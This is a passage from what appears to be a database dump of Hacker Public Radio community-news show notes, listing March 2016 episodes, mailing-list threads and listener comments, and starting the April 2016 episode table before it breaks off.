href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1981\" target=\"_blank\">1981</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-03-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1981\" target=\"_blank\">HPR Community News for February 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1982\" target=\"_blank\">1982</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-03-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1982\" target=\"_blank\">Whats in my virtual bag</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1983\" target=\"_blank\">1983</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-03-09</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1983\" target=\"_blank\">Review of Sony Vaio VPC</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1984\" target=\"_blank\">1984</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-03-10</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1984\" target=\"_blank\">A Love Letter to linux.conf.au</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1985\" target=\"_blank\">1985</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-03-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1985\" target=\"_blank\">Fixing Bug 1092571</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1986\" target=\"_blank\">1986</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-03-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1986\" target=\"_blank\">Introduction to sed - part 2</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1987\" target=\"_blank\">1987</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-03-15</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1987\" target=\"_blank\">Pomodoro Timer - The Evolution of a Script (pt 1)</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1988\" target=\"_blank\">1988</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-03-16</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1988\" target=\"_blank\">Linux from Scratch</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1989\" target=\"_blank\">1989</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-03-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1989\" target=\"_blank\">WDTV Makes Me Itch</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=182\" target=\"_blank\">Epicanis</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1990\" target=\"_blank\">1990</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-03-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1990\" target=\"_blank\">Pomodoro Timer - The Evolution of a Script part deux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1991\" target=\"_blank\">1991</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-03-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1991\" target=\"_blank\">Adventures installing Linux on an Asus EeeBook X205A</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1992\" target=\"_blank\">1992</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-03-22</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1992\" target=\"_blank\">How I\'m handling my podcast-subscriptions and -listening</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1993\" target=\"_blank\">1993</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-03-23</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1993\" target=\"_blank\">Can your window manager do this?</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1994\" target=\"_blank\">1994</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-03-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1994\" target=\"_blank\">Truck Repair: Serpentine Belt Replacement</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1995\" target=\"_blank\">1995</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-03-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1995\" target=\"_blank\">Cov\'s Jams</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=322\" target=\"_blank\">Cov</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1996\" target=\"_blank\">1996</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-03-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1996\" target=\"_blank\">Xdotool magic</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1997\" target=\"_blank\">1997</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-03-29</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1997\" target=\"_blank\">Introduction to sed - part 3</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1998\" target=\"_blank\">1998</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-03-30</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1998\" target=\"_blank\">Homebrewing</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1999\" target=\"_blank\">1999</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-03-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1999\" target=\"_blank\">How I record a full band under Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=327\" target=\"_blank\">noplacelikeslashhome</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Ivan Privaci &lt;epicanis+hpr@...&gt;<br/>\n        <em>Date:</em> 2016-03-03 14:08:46 -0500<br/>\n        <em>Subject:</em> The Robo-Summary Voice<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1131\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1131</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ivan Privaci &lt;epicanis+hpr@...&gt;<br/>\n        <em>Date:</em> 2016-03-03 14:18:39 -0500<br/>\n        <em>Subject:</em> (sigh) never mind (espeak voice question)<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1132\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1132</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2016-03-03 20:58:42 UTC<br/>\n        <em>Subject:</em> HPR Community News - next Saturday on 2016-03-05T18:00:00Z<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1133\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1133</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> &quot;Christopher \\&quot;Cov\\&quot; Covington&quot; &lt;cov@...&gt;<br/>\n        <em>Date:</em> 2016-03-11 13:49:41 +0700<br/>\n        <em>Subject:</em> libravatar<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1134\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1134</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2016-03-20 19:23:09 +0100<br/>\n        <em>Subject:</em> Help to fix audio<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1136\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1136</a><br/>\n        <em>Messages:</em> 5<br/><br/></li>\n    <li><em>From:</em> Nigel Verity &lt;nigelverity@...&gt;<br/>\n        <em>Date:</em> 2016-03-20 21:08:34 UTC<br/>\n        <em>Subject:</em> Re: Hpr Digest, Vol 90, Issue 5 - RMS Audio<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1137\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1137</a><br/>\n        <em>Messages:</em> 17<br/></li>\n</ol>\nTotal messages this month: 26<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.</p>\n<p>There are 29 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1727#comments\" target=\"_blank\">hpr1727</a></strong>\n(2015-03-17) \"<em>Basic Mutt</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1727#4\" target=\"_blank\">Comment 4</a>:\nLeslie Satenstein on 2016-03-13:\n\"Retired \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1727#5\" target=\"_blank\">Comment 5</a>:\nFrank on 2016-03-14:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1934#comments\" target=\"_blank\">hpr1934</a></strong>\n(2015-12-31) \"<em>Experiencing the Meegopad T-02  Part two</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1934#9\" target=\"_blank\">Comment 9</a>:\nStilvoid on 2016-03-10:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hobbypublicradio.org/eps.php?id=1943#comments\" target=\"_blank\">hpr1943</a></strong>\n(2016-01-13) \"<em>HPR AudioBook Club 11.5 - Interview with David Collins-Rivera</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.\n<ul>  <li><a href=\"https://www.hobbypublicradio.org/eps.php?id=1943#1\" target=\"_blank\">Comment 1</a>:\nDavid L. Willson on 2016-03-15:\n\"Firefly\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1972#comments\" target=\"_blank\">hpr1972</a></strong>\n(2016-02-23) \"<em>How I got into Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1972#2\" target=\"_blank\">Comment 2</a>:\nm1rr0r5h4d35 on 2016-03-02:\n\"Thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1973#comments\" target=\"_blank\">hpr1973</a></strong>\n(2016-02-24) \"<em>Free/Libre/Vrije Software: The Goal and the Path</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1973#3\" target=\"_blank\">Comment 3</a>:\nCharles in NJ on 2016-03-21:\n\"Does FSF Have an Original?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1973#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2016-03-22:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1976#comments\" target=\"_blank\">hpr1976</a></strong>\n(2016-02-29) \"<em>Introduction to sed - part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1976#1\" target=\"_blank\">Comment 1</a>:\nGan Ainm on 2016-03-18:\n\"Another great sed resource\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1976#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-03-21:\n\"Thanks for this\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1978#comments\" target=\"_blank\">hpr1978</a></strong>\n(2016-03-02) \"<em>Ultra High Vacuum: loading samples</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=301\" target=\"_blank\">Amunizp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1978#1\" target=\"_blank\">Comment 1</a>:\namunizp on 2016-02-26:\n\"Wrong audio\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1979#comments\" target=\"_blank\">hpr1979</a></strong>\n(2016-03-03) \"<em>How to Make Perfect Steel-Cut Oats</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1979#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2016-03-03:\n\"Interesting episode\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1979#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2016-03-03:\n\"Slow-Cooker Size\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1979#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2016-03-03:\n\"The way of the oat\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1981#comments\" target=\"_blank\">hpr1981</a></strong>\n(2016-03-07) \"<em>HPR Community News for February 2016</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1981#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2016-03-08:\n\"Change the name\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1981#2\" target=\"_blank\">Comment 2</a>:\njezra on 2016-03-17:\n\"chicken coop?\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=1983#comments\" target=\"_blank\">hpr1983</a></strong>\n(2016-03-09) \"<em>Review of Sony Vaio VPC</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1983#1\" target=\"_blank\">Comment 1</a>:\naoskfla on 2016-03-10:\n\"Boop\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1983#2\" target=\"_blank\">Comment 2</a>:\nm1rr0r5h4d35 on 2016-03-19:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1985#comments\" target=\"_blank\">hpr1985</a></strong>\n(2016-03-11) \"<em>Fixing Bug 1092571</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1985#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-03-11:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=1987#comments\" target=\"_blank\">hpr1987</a></strong>\n(2016-03-15) \"<em>Pomodoro Timer - The Evolution of a Script (pt 1)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1987#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-03-17:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1988#comments\" target=\"_blank\">hpr1988</a></strong>\n(2016-03-16) \"<em>Linux from Scratch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1988#1\" target=\"_blank\">Comment 1</a>:\nEpicanis on 2016-03-16:\n\"Great topic, thanks!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1989#comments\" target=\"_blank\">hpr1989</a></strong>\n(2016-03-17) \"<em>WDTV Makes Me Itch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=182\" target=\"_blank\">Epicanis</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1989#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2016-03-17:\n\"Brilliant show\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1989#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-03-18:\n\"Nice kiosk idea\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1989#3\" target=\"_blank\">Comment 3</a>:\nEpicanis on 2016-03-21:\n\"Thanks, all!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1992#comments\" target=\"_blank\">hpr1992</a></strong>\n(2016-03-22) \"<em>How I\'m handling my podcast-subscriptions and -listening</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1992#1\" target=\"_blank\">Comment 1</a>:\nbjorn again on 2016-03-25:\n\"thanks\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1994#comments\" target=\"_blank\">hpr1994</a></strong>\n(2016-03-24) \"<em>Truck Repair: Serpentine Belt Replacement</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1994#1\" target=\"_blank\">Comment 1</a>:\nbrian on 2016-03-25:\n\"two thoughts while still listening\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1994#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2016-03-25:\n\"Genius\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1997#comments\" target=\"_blank\">hpr1997</a></strong>\n(2016-03-29) \"<em>Introduction to sed - part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1997#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2016-03-28:\n\"Knockout Episode\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1997#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2016-03-29:\n\"Careful what you wish for!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1998#comments\" target=\"_blank\">hpr1998</a></strong>\n(2016-03-30) \"<em>Homebrewing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1998#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2016-03-30:\"[no title]\"</li></ul>\n</li>\n</ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2021,'2016-05-02','HPR Community News for April 2016',5521,'HPR Community News for April 2016','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=328\" target=\"_blank\">Joe</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n    <tr>\n    <th align=\"left\">Id</th>\n    <th align=\"left\">Day</th>\n    <th align=\"left\">Date</th>\n    <th align=\"left\">Title</th>\n    <th align=\"left\">Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2000\" target=\"_blank\">2000</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-04-01</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2000\" target=\"_blank\">How to Point a Satellite Dish</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2001\" target=\"_blank\">2001</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-04-04</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2001\" target=\"_blank\">HPR Community News for March 2016</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2002\" target=\"_blank\">2002</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-04-05</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2002\" target=\"_blank\">Just got a Raspberry Pi Zero</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2003\" target=\"_blank\">2003</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-04-06</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2003\" target=\"_blank\">Using the Incron file watching daemon</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2004\" target=\"_blank\">2004</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2016-04-07</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2004\" target=\"_blank\">A First Look at the Owon B35T</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2005\" target=\"_blank\">2005</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2016-04-08</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2005\" target=\"_blank\">How I prepare and record my HPR Kdenlive voiceover shows.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=310\" target=\"_blank\">Geddes</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2006\" target=\"_blank\">2006</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2016-04-11</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2006\" target=\"_blank\">Basic Audio Production - Compression</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=323\" target=\"_blank\">Nacho Jordi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2007\" target=\"_blank\">2007</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2016-04-12</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2007\" target=\"_blank\">My new laptop</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2008\" target=\"_blank\">2008</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2016-04-13</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=2008\" target=\"_blank\">HPR needs shows to survive.</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2009\" target=\"_blank\">2009</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td 